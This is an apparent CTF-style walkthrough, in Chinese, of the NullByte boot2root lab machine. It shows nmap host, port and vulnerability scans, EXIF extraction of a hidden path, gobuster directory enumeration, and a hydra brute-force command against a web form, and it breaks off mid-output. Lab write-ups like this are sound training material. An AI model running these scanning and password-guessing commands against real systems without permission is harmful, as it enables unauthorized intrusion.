NullByte详细打靶全过程
主机描述
代号: NB0x01下载: ly0n.me/nullbyte/NullByte.ova.zip
对象:转到 /root/proof.txt 并按照说明进行作。
级别:基础到中级。
描述: Boot2root,盒子将从 dhcp 获取 IP,与 virtualbox&vmware 适配良好。
提示:利用你的横向思维技能,也许你需要写一些代码。
一、主机发现
kali和靶机开启后,先查看本机IP地址所在网段,然后再使用nmap扫描网段中的主机进行主机发现──(kali㉿kali)-[~/桌面]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.118.129 netmask 255.255.255.0 broadcast 192.168.118.255
inet6 fe80::20c:29ff:fe0a:619a prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:0a:61:9a txqueuelen 1000 (Ethernet)
RX packets 250029 bytes 130423271 (123.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 253052 bytes 50922991 (48.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(kali㉿kali)-[~/桌面]
└─$ nmap -sP 192.168.118.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-11 17:40 CST
Nmap scan report for 192.168.118.129
Host is up (0.00062s latency).
Nmap scan report for 192.168.118.130
Host is up (0.00057s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.91 seconds
已知kali的IP是192.168.118.129,那另一个IP192.168.118.130就是靶机的地址了
二、信息收集
1.开放端口收集 使用命令:sudo nmap --min-rate 10000 -p- -oA /nmapscan/potrs 192.168.118.130 扫描靶机的端口 参数介绍参数 | 介绍 |
---|---|
--min-rate 10000 | 以最低10000的速率扫描目标主机,使用10000的原因是加快搜集速度 |
-p- | 扫描所有端口 |
-oA | 以三种格式的输出文件:普通文本(.nmap)、XML(.xml)和 grepable 格式(.gnmap)把扫描到的端口信息写入到ports文件中,方便后面查看 |
┌──(kali㉿kali)-[~/桌面/nmapscan]
└─$ sudo nmap -sT -p- 192.168.118.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 15:24 CST
Nmap scan report for 192.168.118.130
Host is up (0.00082s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
777/tcp open multiling-http
50635/tcp open unknown
MAC Address: 00:0C:29:49:E6:C8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
2.收集服务详细信息
获取到靶机开放的端口后就可以进行精确扫描了
┌──(kali㉿kali)-[~/桌面]
└─$ sudo nmap -sT -sV -O -p80,111,777,50635 -oA nmapscan/detail 192.168.118.130
[sudo] kali 的密码:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-11 20:52 CST
Nmap scan report for 192.168.118.130
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
50635/tcp open unknown
MAC Address: 00:0C:29:49:E6:C8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
初步分析靶机上运行的服务:
端口 | 状态 | 服务 | 描述 |
---|---|---|---|
80 | open | http | Apache中间件版本是2.4.10 |
111 | open | rpc | rpcbind是一个用于 远程过程调用(RPC) 的端口映射服务,主要功能是将 RPC 程序号(Program Number)动态绑定到网络端口(如 TCP/UDP 端口)。它是许多依赖 RPC 协议的服务(如 NFS、NIS)正常运行的基础组件。 |
777 | open | SSH | OpenSSH 6.7p1版本 |
50635 | close | 未知 | 无 |
再使用命令:sudo nmap -sT -sV -sC -O -p80,111,777,48572 -oA nmapscan/detail 192.168.118.130来进行更精确深入的扫描
参数 | 介绍 |
---|---|
-sT | 使用TCP协议扫描 |
-sV | 获取服务版本 |
-sC | 使用默认脚本扫描能够增强扫描的深度和广度 |
-O | 探测靶机操作系统版本 |
-p80,111,777,48572 | 探测目标端口信息 |
-oA | 将扫描内容保存,方便后面查看 |
┌──(kali㉿kali)-[~/桌面]
└─$ sudo nmap -sT -sV -sC -O -p80,111,777,48572 -oA nmapscan/detail 192.168.118.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-11 20:54 CST
Nmap scan report for 192.168.118.130
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37297/udp status
| 100024 1 42651/tcp6 status
| 100024 1 44330/tcp status
|_ 100024 1 57451/udp6 status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
50635/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:49:E6:C8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
通过80端口的信息可以确定靶机的操作系统是Dibian,111端口获取到了rpc的一些信息,777是SSH服务,50635段口也是个rpc
3.使用udp协议进行扫描,并将结果保存到udp文件中
┌──(kali㉿kali)-[~/桌面]
└─$ sudo nmap -sU -p80,111,777,50635 -oA nmapscan/udp 192.168.118.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 15:39 CST
Nmap scan report for 192.168.118.130
Host is up (0.00026s latency).
PORT STATE SERVICE
80/udp closed http
111/udp open rpcbind
777/udp closed multiling-http
50635/udp closed unknown
MAC Address: 00:0C:29:49:E6:C8 (VMware)
参数 | 介绍 |
---|---|
-sU | 使用UDP协议进行扫描 |
┌──(kali㉿kali)-[~/桌面]
└─$ sudo nmap -script=vuln -p80,111,777,50635 -oA vuln 192.168.118.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 15:42 CST
Nmap scan report for 192.168.118.130
Host is up (0.00033s latency).
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
| /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting folder
111/tcp open rpcbind
777/tcp open multiling-http
50635/tcp open unknown
MAC Address: 00:0C:29:49:E6:C8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 321.26 seconds
三、寻找漏洞
1.查看靶机80端口的web服务,表面发现只有一个眼睛的图片和一句话“If you search for the laws of harmony.you will find knowledge.(如果你正在寻找平衡的法则,你将会发现知识)”
2.很有哲理的一句话哈,然后再查看页面的源代码有个标题“Null Byte 00 - level 1”,有一个main.gif图片,先给它下载下来,等会看看里面有没有隐写重要信息,后面那句话是我们上面翻译的那句话
3.将main.gif下载下来
┌──(kali㉿kali)-[~/桌面]
└─$ wget http://192.168.118.130/main.gif
--2025-03-12 21:22:10-- http://192.168.118.130/main.gif
正在连接 192.168.118.130:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:16647 (16K) [image/gif]
正在保存至: “main.gif.1”
main.gif.1 100%[======>] 16.26K --.-KB/s 用时 0.002s
2025-03-12 21:22:10 (9.78 MB/s) - 已保存 “main.gif.1” [16647/16647])
4.使用file目录查看其文件类型,是正常的图片文件
┌──(kali㉿kali)-[~/桌面]
└─$ file main.gif
main.gif: GIF image data, version 89a, 235 x 302
5.再用exiftool来查看main.gif的详细信息,在main.gif中的Comment属性中发现了一串字符,把这个字符串记下来“kzMb5nVYJw”
┌──(kali㉿kali)-[~/桌面]
└─$ exiftool main.gif
ExifTool Version Number : 12.76
File Name : main.gif
Directory : .
File Size : 17 kB
File Modification Date/Time : 2015:08:02 00:39:30+08:00
File Access Date/Time : 2025:03:12 21:21:27+08:00
File Inode Change Date/Time : 2025:03:12 21:21:26+08:00
File Permissions : -rw-r--r--
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
Megapixels : 0.071
6.既然80端口没什么其他线索了,我们使用nmap的漏洞扫描脚本去看看能不能发现漏洞。扫出来不少有用的东西,发现了两个目录==/phpmyadmin/ 和 /uploads/==,nmap提示靶机存在被Dos攻击的风险,这个就没必要了,直接忽略掉
┌──(kali㉿kali)-[~/桌面/nmapscan]
└─$ cat vuln.nmap
Nmap 7.94SVN scan initiated Wed Mar 12 15:42:55 2025 as: nmap -script=vuln -p80,111,777,50635 -oA vuln 192.168.118.130
Nmap scan report for 192.168.118.130
Host is up (0.00033s latency).
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
| /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting folder
111/tcp open rpcbind
777/tcp open multiling-http
50635/tcp open unknown
MAC Address: 00:0C:29:49:E6:C8 (VMware)
Nmap done at Wed Mar 12 15:48:16 2025 -- 1 IP address (1 host up) scanned in 321.26 seconds
7.先不着急去看这两个目录,再用gobuester扫一下 靶机的目录,康康有没有其他惊喜。哦,有发现一个新的目录/javascript/
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -u http://192.168.118.130 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[sudo] kali 的密码:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.118.130
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 320] [--> http://192.168.118.130/uploads/]
/javascript (Status: 301) [Size: 323] [--> http://192.168.118.130/javascript/]
/phpmyadmin (Status: 301) [Size: 323] [--> http://192.168.118.130/phpmyadmin/]
/server-status (Status: 403) [Size: 303]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
8.去看看这三个目录里,有什么吧。
/phpmyadmin/里是phpMyAmin的登陆页面,我们用之前获取的奇怪字符串来看看能不能登进去。
9.好吧并不可以,使用bp爆破admin的密码也没爆出来,那就去看看其他页面吧
10.shift!javascript目录没权限访问,换下一个目录吧
11.额,uploads目录也不行,去ssh碰碰运气吧,看看这串神秘字符能不能该我们带来惊喜
12.尝试使用字符串kzMb5nVYJw去登陆靶机的root用户。又不可以……
┌──(kali㉿kali)-[~]
└─$ sudo ssh root@192.168.118.130 -p 777
root@192.168.118.130's password:
Permission denied, please try again.
root@192.168.118.130's password:
13.到这里我思考良久,又想到了,神秘字符串有可能是目录呢?一试便知。ohhhhhh!果然是目录,是一个输入框。
14.看一下源代码有什么东西,有一句提示“this form isn’t connected to mysql, password ain’t that complex(这个表单没有连接到 MySQL,密码并不复杂。)”。
15.既然他说不复杂,那去试几个简单的密码瞧瞧。返回提示“invalid key(无效的密钥)”。
16.试了很多次后,依然没有成果,直接使用hydra爆破吧。也是成功的爆破出了密码:elite
┌──(kali㉿kali)-[~]
└─$ sudo hydra 192.168.118.130 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l litemao -P /usr/share/wordlists/rockyou.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or